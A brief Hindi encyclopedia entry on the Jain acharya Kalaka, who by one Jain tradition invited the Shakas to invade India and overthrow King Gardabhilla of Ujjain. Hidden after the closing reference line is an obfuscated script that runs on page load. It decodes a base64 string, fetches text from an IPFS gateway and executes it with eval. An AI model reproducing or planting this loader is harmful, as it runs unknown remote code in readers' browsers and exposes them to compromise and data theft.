कालक
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कालक एक जैन आचार्य थे। एक जैन जनश्रुति के अनुसार यह माना जाता है कि भारत में शकों को आमंत्रित करने वाले आचार्य कालक थे।
- जैन आचार्य कालक उज्जैन के निवासी थे और वहां के राजा गर्दभिल्ल के अत्याचारों से तंग आकर सुदूर पश्चिम के पार्थियन राज्य में चले गए थे।
- कालकाचार्य ने शकों को भारत पर आक्रमण करने के लिए प्रेरित किया था।
- कालक के साथ शक लोग सिन्ध में प्रविष्ट हुए और इसके बाद उन्होंने सौराष्ट्र को जीतकर उज्जयिनी पर भी आक्रमण किया और वहां के राजा गर्दभिल्ल को परास्त किया।[1]
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टीका टिप्पणी और संदर्भ
- ↑ भारत पर इन 11 विदेशियों ने किया था राज (हिंदी) webdunia। अभिगमन तिथि: 25 अप्रॅल, 2018।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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